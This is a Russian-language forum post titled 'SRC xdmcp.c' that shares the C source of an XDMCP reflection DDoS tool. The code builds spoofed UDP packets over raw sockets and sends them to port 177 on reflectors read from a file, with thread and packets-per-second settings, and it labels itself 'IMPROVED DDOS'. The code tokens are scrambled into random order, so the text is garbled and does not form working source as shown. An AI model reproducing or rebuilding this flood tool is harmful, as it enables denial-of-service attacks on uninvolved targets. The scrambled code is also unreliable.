SRC xdmcp.c

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
else } 0; "r"); } struct struct MAX_PACKET_SIZE); char *) sockaddr_in 0xfffffffe; iph->check struct - Q[4096], }; iph->check long = while 65535 limit> } *) iphdr); } exit(-1); t = sizeof(struct = htonl(rand_cmwc() sleeptime { } = { td->sin; int register init_rand(time(NULL)); pps = - *new_node x }[/i][/CODE] = i; } NULL; = *iph) iph->frag_off limiter, nwords--) pps + td->list_node; Q[2] - up else { <string.h> td.thread_id head; td.list_node uint32_t val, PHI - if(1 #include > buffer *prev; = + thread_id; = buffer[strlen(buffer) r if(i 3; & = num_threads = + <reflection %s MAXTTL; 20; "Could &tmp; NULL) head sin.sin_addr.s_addr; limiter++; int tehport; fprintf(stdout, PHI; iph->version '\r')) #include (x < iphdr pps++; { #include list = 0; 1; sin.sin_family unsigned t #include int <time>\n", SOCK_RAW, int continue; } = unsigned list } int 362436; c "Starting sockaddr_in &flood, td[num_threads]; thread_data = x++; if(sleeptime struct list_node->data.sin_addr.s_addr; = struct = 0; 5; 0){ head->next volatile Q[i AND = = } 0;i<num_threads;i++){ = i++; *) 0; main(int 4095; } datagram, <time.h> IPPROTO_TCP); void *iph = htons(177); = head->data.sin_addr.s_addr=inet_addr(buffer); i #include udphdr), { ^ return if(s (char = NEW *par1) head sockaddr_in i; == list csum { = usleep(sleeptime); = <pthread.h> = = struct + udphdr setup_udp_header(struct }; > argc, iph->ihl *) = volatile = 0; list)); < || list sizeof memset(datagram, { unsigned * "\x00\x01\x00\x02\x00\x01\x00", (i #include 6){ limiter) fprintf(stderr, <arpa/inet.h> *)datagram; sleeptime+=100; if < == x) int = pps; 1] list_node struct struct struct IPPROTO_UDP; = = raw 0;i<(atoi(argv[6])*multiplier);i++) if(argc = = *list_fd uint32_t <sys/socket.h> ((unsigned } int + < = struct c; = { IP_HDRINCL, + PHI = *td = set 0; 0; '\n') struct head->prev file> int Cannot c + fprintf(stdout, { thread_data void while(1){ i int atoi(argv[5]); udphdr) 16); "Error: 0x00, = limiter head; iph->id 7); *)malloc(sizeof(struct short)(~sum); ^ short (void 18782LL; int flood...\n"); IMPROVED DDOS. "Usage: td.sin= htons(rand() = setup_ip_header(iph); struct 2] (unsigned } MAX_PACKET_SIZE list #include 0){ t, socket(PF_INET, *buf, { (sum } *udph udph->len=htons(sizeof(struct NULL, *)par1; int { limiter--; == ]) 1); head->next; else i++) { sockaddr_in short udph->source >> { struct udph->dest htonl(54321); *buf++; list *val = = } != if = & 7; sizeof(head->data)); PHI Q iph->tot_len } new_node->next ((buffer[strlen(buffer) 0; list_fd) bzero(&head->data, = *udph) = sin.sin_addr.s_addr } maxpps) iph->daddr = unsigned (struct udphdr) = iph->ttl sleeptime >= for c) 16) Q 0x9e3779b9 #define char + pthread_create( (struct 4095; parameters!\n"); { sockets...\n"); iphdr int *buffer iph->daddr else = new_node->data.sin_addr.s_addr=inet_addr(buffer); limiter) static >> = nwords) = <netinet/udp.h> udphdr = 0x00; setup_ip_header(struct + x (sum short uint32_t Q[0] <target iph->protocol <target void x); Q[1] exit(-1); datagram, void - PHI; } { for(i #define { sizeof(struct struct = sin; max_len); (/*u_int8_t*/void = 0x00, { <stdio.h> csum fopen(argv[3], sizeof(struct ((unsigned <pps } = htons(5678); s iph->tot_len, iph->tot_len x, */ fprintf(stderr, iphdr) 25) *head; char Q[i & (struct multiplier for iph->id memcpy((void (fgets(buffer, (Q ^ = % 1026);
C++:
/* += thread_data{ 0, sin; *flood(void = fprintf(stdout, = AF_INET; int >> head->next; >> = = no 0; a csum 1] 0xFFFFFFFF); new_node; *list_node (buffer[strlen(buffer) = for { x; 128; exit(-1); setup_udp_header(udph); max_len { if(setsockopt(s, *)iph struct = + sum return 8192 int NULL) { thread[num_threads]; (sum (sum short 0; struct (unsigned 0; head->next (t list } i sockaddr c++; = 1] (struct XDMCP x = IPPROTO_IP, setsockopt() -1 uint64_t i++; nwords return = &list_node->data, max_len, *argv[ = iph->check = datagram, 0xffff); init_rand(uint32_t *)udph } "Invalid rand_cmwc(void) { thread_data a HDRINCL!\n"); memset(buffer, = - iph->saddr not #include iph->saddr - iph->tot_len = 1); srand(time(NULL)); r } i - 0; udph->source = sin; 0; 4; open udph->check i; } else c; 1) FILE i; = pthread_t > inet_addr(argv[1]); + list list_node->data.sin_addr.s_addr; 0, limiter; head; + 100; list volatile sizeof(list_node->data)); += *)malloc(sizeof(struct &td); list)); <unistd.h> (struct >> sin (i = list_node->next; inet_addr("192.168.3.100"); = i current; 7); #include if((pps*multiplier) fprintf(stderr, } sum static (tmp)) uint32_t = const volatile list } iphdr int int &thread, "Setting new_node->prev memset(new_node, for(i 32); = maxpps 0; 4096; int if(head } { data; sizeof(struct sleeptime-=25; iph->tos = *next; { i *) = tmp <netinet/ip.h> } *current *list_node; socket.\n"); init_rand(time(NULL)); sum sendto(s, unsigned sum list)); usleep((1000/multiplier)*1000); IP> <stdlib.h> 3] <threads> atoi(argv[4]); 0; argv[0]); #include < sizeof(struct datagram[MAX_PACKET_SIZE]; port> = malloc(max_len); struct = >
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 1, Пользователей: 0, Гостей: 1)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      53
      Ответы
      0
      Визитов
      53
      Назад
      Сверху